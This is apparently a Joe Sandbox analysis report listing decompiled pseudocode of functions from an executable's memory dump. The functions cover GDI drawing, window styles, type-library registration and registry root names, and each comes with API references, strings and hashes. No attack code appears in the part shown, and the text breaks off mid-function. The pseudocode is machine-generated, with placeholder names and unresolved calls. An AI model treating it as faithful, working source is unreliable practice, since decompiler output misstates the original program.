0x0041b94d
0x0041b94f
0x0041b94f
0x0041b960
0x0041b972
0x0041b980
0x0041b983
0x0041b989
0x0041b98e
0x0041b994
0x0041b99e
0x0041b9a0
0x0041b9ad
0x0041b9af
0x0041b9bc
0x0041b9c1
0x0041b9c3
0x0041b9c3
0x0041b9c3
0x0041b9d3
0x0041b9de
0x0041b9ec
0x0041b9f9
0x0041ba00
0x0041ba03
0x0041ba06
0x0041ba07
0x0041ba0c
0x0041ba13
0x0041ba15
0x0041ba15
0x0041ba1c
0x0041ba1d
0x0041ba22
0x0041ba25
0x0041ba2a
0x0041ba33
0x0041ba35
0x0041ba3c
0x0041ba3d
0x0041ba40
0x0041ba41
0x0041ba46
0x0041ba4c
0x0041ba4d
0x0041ba4d
0x0041ba54
0x0041ba55
0x0041ba5a
0x0041ba5d
0x0041ba60
0x0041ba65
0x0041ba69
0x0041ba6a
0x0041ba6c
0x0041ba6d
0x0041ba70
0x0041ba71
0x0041ba79
0x0041ba81
0x0041ba83
0x0041ba83
0x0041ba8a
0x0041ba8d
0x0041ba90
0x0041ba99
0x0041ba9b
0x0041baa0
0x0041baa1
0x0041baa4
0x0041baa5
0x00000000
0x0041baa5
0x0041baaa

APIs

GetFocus.USER32 ref: 0041B9FB
73AFAC50.USER32(?), ref: 0041BA07
73AFB410.GDI32(00000000,?,00000000,00000000,0041BACD,?,?), ref: 0041BA41
73AFB150.GDI32(00000000,00000000,?,00000000,00000000,0041BACD,?,?), ref: 0041BA4D
73AFA7F0.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BAAB,?,00000000,0041BACD,?,?), ref: 0041BA71
73AFB410.GDI32(00000000,00000000,00000000,0041BAB2,?,?,00000000,00000000,0041BAAB,?,00000000,0041BACD,?,?), ref: 0041BAA5

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: B410$B150Focus
String ID:
API String ID: 1979529269-0
Opcode ID: a3ce49c3f9ad935a5ee1e1cf1004842d5f36df964349e45f76b9d12872fad6c8
Instruction ID: c10e30adebc841ec4a3808293d98e29291aa3ac43dc1cc39f62f73c8df8f7935
Opcode Fuzzy Hash: a3ce49c3f9ad935a5ee1e1cf1004842d5f36df964349e45f76b9d12872fad6c8
Instruction Fuzzy Hash: 33512C71A006189FCB01DFA9C851AAEBBF5FF48700F558066F504E7755D7389D40CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4EC Relevance: 9.1, APIs: 6, Instructions: 113
windowCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E0041B4EC(intOrPtr __eax) {
				intOrPtr _v8;
				signed int _v12;
				short* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct HWND__* _v28;
				void* __edi;
				short _t45;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t62;
				intOrPtr* _t64;
				short* _t71;
				intOrPtr _t78;
				signed int _t80;
				void* _t82;
				intOrPtr _t84;
				short _t87;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t92;
				void* _t94;
				intOrPtr _t95;

				_t92 = _t94;
				_t95 = _t94 + 0xffffffe8;
				_push(_t82);
				_v8 = __eax;
				_v12 = 0;
				_t45 =  *((intOrPtr*)(_v8 + 0x20));
				if(_t45 == 0) {
					_t87 = E0041B4CC( *((intOrPtr*)(_v8 + 0xe)));
				} else {
					_t78 = _v8;
					_t87 = _t45;
				}
				_t99 = _t87 - 2;
				if(_t87 <= 2) {
					return _v12;
				} else {
					_v20 = (_t87 - 1 << 2) + 8;
					_v16 = E0040693C(_v20, _t78, _t82, _t99);
					_push(_t92);
					_push(0x41b63c);
					_push( *[fs:ecx]);
					 *[fs:ecx] = _t95;
					_t71 = _v16;
					E00402934(_t71, _v20);
					 *((short*)(_t71 + 2)) = _t87;
					 *_t71 = 0x300;
					_v28 = GetFocus();
					_t59 = _v28;
					_push(_t59);
					L00405F1C();
					_v24 = _t59;
					_push(_t92);
					_push(0x41b610);
					_push( *[fs:ecx]);
					 *[fs:ecx] = _t95;
					_push(0x68);
					_t60 = _v24;
					_push(_t60);
					L00405C4C();
					_t84 = _t60;
					if(_t87 != 0x10 || _t84 < 0x10) {
						_t89 = _t87 - 1;
						__eflags = _t89;
						if(_t89 >= 0) {
							_t90 = _t89 + 1;
							_t80 = 0;
							_t64 = _v8 + 0x2a;
							__eflags = _t64;
							do {
								 *((char*)(_t71 + 4 + _t80 * 4)) =  *_t64;
								 *((char*)(_t71 + 5 + _t80 * 4)) =  *((intOrPtr*)(_t64 - 1));
								 *((char*)(_t71 + 6 + _t80 * 4)) =  *((intOrPtr*)(_t64 - 2));
								 *((char*)(_t71 + 7 + _t80 * 4)) = 0;
								_t80 = _t80 + 1;
								_t64 = _t64 + 4;
								_t90 = _t90 - 1;
								__eflags = _t90;
							} while (_t90 != 0);
						}
					} else {
						_push(_t71 + 4);
						_push(8);
						_push(0);
						_push(_v24);
						L00405C74();
						_push(_t71 + 0x24);
						_push(8);
						_push(_t84 - 8);
						_push(_v24);
						L00405C74();
					}
					_pop( *[fs:0x0]);
					_push(E0041B617);
					_push(_v24);
					_t62 = _v28;
					_push(_t62);
					L00406104();
					return _t62;
				}
			}

0x0041b4ed
0x0041b4ef
0x0041b4f4
0x0041b4f5
0x0041b4fa
0x0041b500
0x0041b505
0x0041b51a
0x0041b507
0x0041b507
0x0041b50a
0x0041b50a
0x0041b51c
0x0041b51f
0x0041b64c
0x0041b525
0x0041b52e
0x0041b539
0x0041b53e
0x0041b53f
0x0041b544
0x0041b547
0x0041b54a
0x0041b554
0x0041b559
0x0041b55d
0x0041b567
0x0041b56a
0x0041b56d
0x0041b56e
0x0041b573
0x0041b578
0x0041b579
0x0041b57e
0x0041b581
0x0041b584
0x0041b586
0x0041b589
0x0041b58a
0x0041b58f
0x0041b594
0x0041b5c5
0x0041b5c6
0x0041b5c8
0x0041b5ca
0x0041b5cb
0x0041b5d0
0x0041b5d0
0x0041b5d3
0x0041b5d5
0x0041b5dc
0x0041b5e3
0x0041b5e7
0x0041b5ec
0x0041b5ed
0x0041b5f0
0x0041b5f0
0x0041b5f0
0x0041b5d3
0x0041b59b
0x0041b59e
0x0041b59f
0x0041b5a1
0x0041b5a6
0x0041b5a7
0x0041b5b5
0x0041b5b6
0x0041b5b9
0x0041b5bd
0x0041b5be
0x0041b5be
0x0041b5f3
0x0041b5fd
0x0041b605
0x0041b606
0x0041b609
0x0041b60a
0x0041b60f
0x0041b60f

APIs

GetFocus.USER32 ref: 0041B562
73AFAC50.USER32(?,00000000,0041B63C,?,?,?,?), ref: 0041B56E
73AFAD70.GDI32(?,00000068,00000000,0041B610,?,?,00000000,0041B63C,?,?,?,?), ref: 0041B58A
73AFAEF0.GDI32(?,00000000,00000008,?,?,00000068,00000000,0041B610,?,?,00000000,0041B63C,?,?,?,?), ref: 0041B5A7
73AFAEF0.GDI32(?,00000000,00000008,?,?,00000000,00000008,?,?,00000068,00000000,0041B610,?,?,00000000,0041B63C), ref: 0041B5BE
73AFB380.USER32(?,?,0041B617,?,?), ref: 0041B60A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: B380Focus
String ID:
API String ID: 3891926489-0
Opcode ID: 998c128d5c735b8a832e1b0da23ebfda7fc580edf4b44d5d7b13a9a2cc0cb6eb
Instruction ID: 39d1682d484abca41271a916afe7ae09def1fe3613ffd5f5840820d5a1948b9d
Opcode Fuzzy Hash: 998c128d5c735b8a832e1b0da23ebfda7fc580edf4b44d5d7b13a9a2cc0cb6eb
Instruction Fuzzy Hash: 4641E771A00658AFDF10DFA9C885A9FBBB4EF45704F1444AAF500EB352D3389D10CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00456B88 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00456B88(intOrPtr __eax, void* __ebx, char __ecx, signed char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				int _t35;
				void* _t46;
				void* _t52;
				void* _t56;
				signed char _t67;
				intOrPtr _t80;
				intOrPtr _t88;
				void* _t91;

				_t86 = __edi;
				_push(__edi);
				_v12 = 0;
				_v8 = __ecx;
				_t67 = __edx;
				_t88 = __eax;
				E00403740(_v8);
				_push(_t91);
				_push(0x456cb4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t91 + 0xfffffff8;
				E0042C738(_v8,  &_v12);
				E004034AC( &_v8, _v12);
				 *((intOrPtr*)(_t88 + 0x2c)) = 0;
				_t9 = _t88 + 0x30; // 0x22f389c
				_t35 = E0040358C(_v8);
				 *((short*)(_t88 + 0x30 + MultiByteToWideChar(0, 0, E00403750(_v8), _t35, _t9, 0xfff) * 2)) = 0;
				E004564C8(_t88, 0);
				E00456A0C(_t88, 0x2004, 4);
				E004564C8(_t88, 0);
				_t46 =  *((intOrPtr*)(_t88 + 0x2038)) - 1;
				if(_t46 == 0) {
					E0045187C("LoadTypeLib", _t67,  *(_t88 + 0x203c), __edi, _t88, __eflags);
				} else {
					_t52 = _t46 - 1;
					if(_t52 == 0) {
						_t53 =  *(_t88 + 0x203c);
						__eflags =  *(_t88 + 0x203c);
						_t68 = _t67 | __eflags != 0x00000000;
						__eflags = _t67 | __eflags != 0x00000000;
						if(__eflags != 0) {
							E0045187C("RegisterTypeLib", _t68, _t53, __edi, _t88, __eflags);
						}
					} else {
						_t56 = _t52 - 1;
						if(_t56 == 0) {
							E0045187C("ITypeLib::GetLibAttr", _t67,  *(_t88 + 0x203c), __edi, _t88, __eflags);
						} else {
							_t96 = _t56 == 1;
							if(_t56 == 1) {
								_t60 =  *(_t88 + 0x203c);
								__eflags =  *(_t88 + 0x203c);
								if(__eflags != 0) {
									L11:
									E0045187C("UnRegisterTypeLib", _t67, _t60, _t86, _t88, __eflags);
								} else {
									__eflags = _t67;
									if(__eflags == 0) {
										goto L11;
									}
								}
							} else {
								E00451710("HelperRegisterTypeLibrary: StatusCode invalid", _t67, __edi, _t88, _t96);
							}
						}
					}
				}
				_pop(_t80);
				 *[fs:eax] = _t80;
				_push(E00456CBB);
				return E00403438( &_v12, 2);
			}

0x00456b88
0x00456b90
0x00456b93
0x00456b96
0x00456b99
0x00456b9b
0x00456ba0
0x00456ba7
0x00456ba8
0x00456bad
0x00456bb0
0x00456bb9
0x00456bc4
0x00456bcd
0x00456bd5
0x00456bdc
0x00456bf4
0x00456bff
0x00456c10
0x00456c19
0x00456c24
0x00456c25
0x00456c3d
0x00456c27
0x00456c27
0x00456c28
0x00456c44
0x00456c4a
0x00456c4f
0x00456c4f
0x00456c51
0x00456c5a
0x00456c5a
0x00456c2a
0x00456c2a
0x00456c2b
0x00456c6c
0x00456c2d
0x00456c2d
0x00456c2e
0x00456c73
0x00456c79
0x00456c7b
0x00456c81
0x00456c88
0x00456c7d
0x00456c7d
0x00456c7f
0x00000000
0x00000000
0x00456c7f
0x00456c30
0x00456c94
0x00456c94
0x00456c2e
0x00456c2b
0x00456c28
0x00456c9b
0x00456c9e
0x00456ca1
0x00456cb3

APIs

Part of subcall function 0042C738: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C75C

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,022F389C,00000FFF,00000000,00456CB4,?,?,00000000,00000000), ref: 00456BEF

Part of subcall function 004564C8: CloseHandle.KERNEL32(?), ref: 004564FF
Part of subcall function 004564C8: WaitForSingleObject.KERNEL32(?,00002710,?), ref: 00456529
Part of subcall function 004564C8: GetExitCodeProcess.KERNEL32 ref: 0045653A
Part of subcall function 004564C8: CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00456581
Part of subcall function 004564C8: Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 0045659D

Part of subcall function 004564C8: TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 0045651B

Strings

ITypeLib::GetLibAttr, xrefs: 00456C67
RegisterTypeLib, xrefs: 00456C55
HelperRegisterTypeLibrary: StatusCode invalid, xrefs: 00456C8F
LoadTypeLib, xrefs: 00456C38
UnRegisterTypeLib, xrefs: 00456C83

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseHandleProcess$ByteCharCodeExitFullMultiNameObjectPathSingleSleepTerminateWaitWide
String ID: HelperRegisterTypeLibrary: StatusCode invalid$ITypeLib::GetLibAttr$LoadTypeLib$RegisterTypeLib$UnRegisterTypeLib
API String ID: 3965036325-83444288
Opcode ID: 5f5cb0a4c948379684cabe3a36274f057d4e83ff4bd67a97a3c1db2b5a4924be
Instruction ID: 3d91b91dfdb019ea9ead0d91b8b9bee1927642c3be1538803e06913f3ca9563e
Opcode Fuzzy Hash: 5f5cb0a4c948379684cabe3a36274f057d4e83ff4bd67a97a3c1db2b5a4924be
Instruction Fuzzy Hash: 2231A3703006049BD721EB6AC84265AB7A8EB44306B96893BAC84D7353DA3DAE09861D

Uniqueness

Uniqueness Score: -1.00%

Function 00459F24 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00459F24(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, signed int _a4, intOrPtr _a8) {
				char _v8;
				void* _t35;
				void* _t44;
				intOrPtr _t48;
				void* _t49;
				void* _t51;
				void* _t57;
				intOrPtr _t60;

				_t55 = __edi;
				_push(0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t57 = __ecx;
				_t35 = __eax;
				_push(_t60);
				_push(0x459ff0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t60;
				_t44 = __edx - 0x80000000;
				if(_t44 == 0) {
					E004034AC( &_v8, "CLASSES_ROOT");
					goto L10;
				} else {
					_t49 = _t44 - 1;
					if(_t49 == 0) {
						E004034AC( &_v8, "CURRENT_USER");
						goto L10;
					} else {
						_t51 = _t49 - 1;
						if(_t51 == 0) {
							E004034AC( &_v8, "MACHINE");
							goto L10;
						} else {
							if(_t51 == 1) {
								E004034AC( &_v8, 0x45a04c);
								L10:
								_push(_v8);
								_push(0x45a05c);
								_push(_t57);
								E0040364C();
								SetLastError(E00459D6C(_a4 & 0xffffff00 | _t35 == 0x00000002, _t35, _v8, 4, _t55, _t57, 2, _a4, _a8));
							} else {
								SetLastError(0x57);
							}
						}
					}
				}
				_pop(_t48);
				 *[fs:eax] = _t48;
				_push(0x459ff7);
				return E00403418( &_v8);
			}

0x00459f24
0x00459f27
0x00459f29
0x00459f2a
0x00459f2b
0x00459f2c
0x00459f2e
0x00459f32
0x00459f33
0x00459f38
0x00459f3b
0x00459f3e
0x00459f44
0x00459f59
0x00000000
0x00459f46
0x00459f46
0x00459f47
0x00459f68
0x00000000
0x00459f49
0x00459f49
0x00459f4a
0x00459f77
0x00000000
0x00459f4c
0x00459f4d
0x00459f86
0x00459f98
0x00459f98
0x00459f9b
0x00459fa0
0x00459fa9
0x00459fce
0x00459f4f
0x00459f8f
0x00459f94
0x00459f4d
0x00459f4a
0x00459f47
0x00459fdc
0x00459fdf
0x00459fe2
0x00459fef

APIs

SetLastError.KERNEL32(00000057,00000000,00459FF0,?,?,?,?,00000000), ref: 00459F8F
SetLastError.KERNEL32(00000000,00000002,?,?,?,0045A05C,?,00000000,00459FF0,?,?,?,?,00000000), ref: 00459FCE

Strings

USERS, xrefs: 00459F81
MACHINE, xrefs: 00459F72
CURRENT_USER, xrefs: 00459F63
CLASSES_ROOT, xrefs: 00459F54

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorLast
String ID: CLASSES_ROOT$CURRENT_USER$MACHINE$USERS
API String ID: 1452528299-1580325520
Opcode ID: 949a20e0944d27fdecdd679eb0046797891f6aaf624654906bfbe349e96ad872
Instruction ID: 66965d96e5c520b71b808593f2145a5071d5b2a6a0d7e7578c2a48195cc9af2e
Opcode Fuzzy Hash: 949a20e0944d27fdecdd679eb0046797891f6aaf624654906bfbe349e96ad872
Instruction Fuzzy Hash: B811B736204608FFDB11DE91C981A9A76ACDB48716F708077AD01D62C3D67C9F09D62E

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD70 Relevance: 9.1, APIs: 6, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0041BD70(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v30;
				int _v40;
				int _v44;
				signed short _v48;
				int _t28;
				signed int _t29;
				signed short _t30;
				signed int _t31;
				signed short _t35;
				intOrPtr _t49;
				void* _t52;
				void* _t53;
				void* _t54;
				intOrPtr _t55;

				_t53 = _t54;
				_t55 = _t54 + 0xffffff8c;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v24 = _v16 << 4;
				_v20 = E0040693C(_v24, __edx, __edi, __eflags);
				 *[fs:0x0] = _t55;
				 *((intOrPtr*)( *_v8))( *[fs:0x0], 0x41c01c, _t53, __edi, __esi, __ebx, _t52);
				_v44 = GetSystemMetrics(0xb);
				_t28 = GetSystemMetrics(0xc);
				_v40 = _t28;
				_push(0);
				L00405F1C();
				_v48 = _t28;
				if(_v48 == 0) {
					E0041B378();
				}
				_push(_t53);
				_push(0x41be40);
				_push( *[fs:edx]);
				 *[fs:edx] = _t55;
				_push(0xe);
				_t29 = _v48;
				_push(_t29);
				L00405C4C();
				_push(0xc);
				_t30 = _v48;
				_push(_t30);
				L00405C4C();
				_t31 = _t29 * _t30;
				if(_t31 != 0x18) {
					__eflags = 1;
					_v30 = 1 << _t31;
				} else {
					_v30 = 0;
				}
				_pop(_t49);
				 *[fs:eax] = _t49;
				_push(E0041BE47);
				_t35 = _v48;
				_push(_t35);
				_push(0);
				L00406104();
				return _t35;
			}

0x0041bd71
0x0041bd73
0x0041bd79
0x0041bd7c
0x0041bd7f
0x0041bd88
0x0041bd93
0x0041bda3
0x0041bdb5
0x0041bdbe
0x0041bdc3
0x0041bdc8
0x0041bdcb
0x0041bdcd
0x0041bdd2
0x0041bdd9
0x0041bddb
0x0041bddb
0x0041bde2
0x0041bde3
0x0041bde8
0x0041bdeb
0x0041bdee
0x0041bdf0
0x0041bdf3
0x0041bdf4
0x0041bdfb
0x0041bdfd
0x0041be00
0x0041be01
0x0041be0a
0x0041be10
0x0041be20
0x0041be23
0x0041be12
0x0041be12
0x0041be12
0x0041be29
0x0041be2c
0x0041be2f
0x0041be34
0x0041be37
0x0041be38
0x0041be3a
0x0041be3f

APIs

GetSystemMetrics.USER32 ref: 0041BDB9
GetSystemMetrics.USER32 ref: 0041BDC3
73AFAC50.USER32(00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BDCD
73AFAD70.GDI32(00000000,0000000E,00000000,0041BE40,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BDF4
73AFAD70.GDI32(00000000,0000000C,00000000,0000000E,00000000,0041BE40,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BE01
73AFB380.USER32(00000000,00000000,0041BE47,0000000E,00000000,0041BE40,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BE3A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: MetricsSystem$B380
String ID:
API String ID: 3145338429-0
Opcode ID: c1d51373f2bbde019d0ffbe74da4b0ad752ae14fba3f18c9529eb1c146801ada
Instruction ID: 11d507180d1e5a54e4cf0232c40eb60fdb0cf0375a4003166fdd62379686177d
Opcode Fuzzy Hash: c1d51373f2bbde019d0ffbe74da4b0ad752ae14fba3f18c9529eb1c146801ada
Instruction Fuzzy Hash: 2B212874E40748AFEB00EFA9C942BEEBBB4EB48714F10803AF514B7691D7795940CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00475578 Relevance: 9.1, APIs: 6, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00475578(void* __eax) {
				intOrPtr _t12;
				signed int _t15;
				intOrPtr _t16;
				intOrPtr _t19;
				signed int _t21;
				long _t22;
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t29;
				void* _t32;

				_t32 = __eax;
				_t12 =  *0x48f628; // 0x22f2410
				_t15 = GetWindowLongA( *(_t12 + 0x20), 0xffffffec) & 0xffffff00 | (_t14 & 0x00000080) == 0x00000000;
				if(_t32 != _t15) {
					_t16 =  *0x48f628; // 0x22f2410
					SetWindowPos( *(_t16 + 0x20), 0, 0, 0, 0, 0, 0x97);
					_t19 =  *0x48f628; // 0x22f2410
					_t21 = GetWindowLongA( *(_t19 + 0x20), 0xffffffec);
					if(_t32 == 0) {
						_t22 = _t21 | 0x00000080;
					} else {
						_t22 = _t21 & 0xffffff7f;
					}
					_t23 =  *0x48f628; // 0x22f2410
					SetWindowLongA( *(_t23 + 0x20), 0xffffffec, _t22);
					if(_t32 == 0) {
						_t26 =  *0x48f628; // 0x22f2410
						return SetWindowPos( *(_t26 + 0x20), 0, 0, 0, 0, 0, 0x57);
					} else {
						_t29 =  *0x48f628; // 0x22f2410
						return ShowWindow( *(_t29 + 0x20), 5);
					}
				}
				return _t15;
			}

0x00475579
0x0047557d
0x0047558d
0x00475592
0x004755a3
0x004755ac
0x004755b3
0x004755bc
0x004755c3
0x004755cc
0x004755c5
0x004755c5
0x004755c5
0x004755d4
0x004755dd
0x004755e4
0x00475604
0x00000000
0x004755e6
0x004755e8
0x00000000
0x004755f1
0x004755e4
0x00475613

APIs

GetWindowLongA.USER32 ref: 00475586
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,004669F5), ref: 004755AC
GetWindowLongA.USER32 ref: 004755BC
SetWindowLongA.USER32(?,000000EC,00000000), ref: 004755DD
ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 004755F1
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 0047560D

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: 2c676379f18cb40d0da58929d5e9d4b756654f0ed55a62d4b5ea4cb0e745fc58
Instruction ID: 12e21b805ba48ff3c42fcf32cc41c1eec5c80df977ecf80fac4cf51af71c0963
Opcode Fuzzy Hash: 2c676379f18cb40d0da58929d5e9d4b756654f0ed55a62d4b5ea4cb0e745fc58
Instruction Fuzzy Hash: AD014CB2645610ABD600D7B8CD81F2A33D8AB0C320F19476AB558EF2E3C679D8458B18

Uniqueness

Uniqueness Score: -1.00%

Function 0041B254 Relevance: 9.0, APIs: 6, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041B254(void* __eax) {
				void* _t36;

				_t36 = __eax;
				UnrealizeObject(E0041A6C4( *((intOrPtr*)(__eax + 0x14))));
				SelectObject( *(_t36 + 4), E0041A6C4( *((intOrPtr*)(_t36 + 0x14))));
				if(E0041A740( *((intOrPtr*)(_t36 + 0x14))) != 0) {
					SetBkColor( *(_t36 + 4),  !(E0041A03C(E0041A688( *((intOrPtr*)(_t36 + 0x14))))));
					return SetBkMode( *(_t36 + 4), 1);
				} else {
					SetBkColor( *(_t36 + 4), E0041A03C(E0041A688( *((intOrPtr*)(_t36 + 0x14)))));
					return SetBkMode( *(_t36 + 4), 2);
				}
			}

0x0041b255
0x0041b260
0x0041b272
0x0041b281
0x0041b2bb
0x0041b2cc
0x0041b283
0x0041b295
0x0041b2a6
0x0041b2a6

APIs

Part of subcall function 0041A6C4: CreateBrushIndirect.GDI32 ref: 0041A72F

UnrealizeObject.GDI32(00000000), ref: 0041B260
SelectObject.GDI32(?,00000000), ref: 0041B272
SetBkColor.GDI32(?,00000000), ref: 0041B295
SetBkMode.GDI32(?,00000002), ref: 0041B2A0
SetBkColor.GDI32(?,00000000), ref: 0041B2BB
SetBkMode.GDI32(?,00000001), ref: 0041B2C6

Part of subcall function 0041A03C: GetSysColor.USER32(?), ref: 0041A046

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: 122a163b2193880f71d3292b64a95471f9b780ee80d013ae274f5a014ad9ffce
Instruction ID: 0f22cd896f62185373a311de716c92a992645b0c1e29599fd5f218cfa0d167d6
Opcode Fuzzy Hash: 122a163b2193880f71d3292b64a95471f9b780ee80d013ae274f5a014ad9ffce
Instruction Fuzzy Hash: 3AF0BB71201500ABDE04FFBAE9CAD4B27ACDF183097048096B904DF1A7CA3CDC608B3A

Uniqueness

Uniqueness Score: -1.00%

Function 0046F9DC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
windowCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0046F9DC(void* __ebx, void* __edi, void* __esi) {
				char _v5;
				intOrPtr _v12;
				long _v16;
				char _v20;
				struct _WNDCLASSW _v60;
				long _v64;
				intOrPtr _t55;
				void* _t57;
				intOrPtr _t83;
				long _t92;
				intOrPtr _t105;
				void* _t108;
				intOrPtr _t119;
				intOrPtr _t122;
				void* _t135;
				void* _t137;
				void* _t138;
				intOrPtr _t139;
				void* _t144;
				void* _t151;

				_t133 = __esi;
				_t132 = __edi;
				_t137 = _t138;
				_t139 = _t138 + 0xffffffc4;
				_push(__esi);
				_push(__edi);
				_v64 = 0;
				_v16 = 0;
				_push(_t137);
				_push(0x46fbe7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t139;
				_v12 = E0046FC18(1, __edi);
				_push(_t137);
				_push(0x46fbc2);
				_push( *[fs:edx]);
				 *[fs:edx] = _t139;
				if( *0x48e0dc == 2 && GetClassInfoW(0, L"COMBOBOX",  &_v60) != 0) {
					 *0x48ff60 = _v60.lpfnWndProc;
					_push(E0046F990);
					_push(0xfffffffc);
					_t105 = E004181C4( *((intOrPtr*)(_v12 + 0x1b8)));
					_push(_t105);
					L004061AC();
					 *0x48ff64 = _t105;
				}
				_t55 =  *0x4901a4; // 0x22f59c0
				_t57 =  *((intOrPtr*)(_t55 + 8)) - 1;
				if(_t57 < 0) {
					L15:
					_t107 =  *((intOrPtr*)(_v12 + 0x1b8));
					_t119 =  *0x48eb44; // 0x0
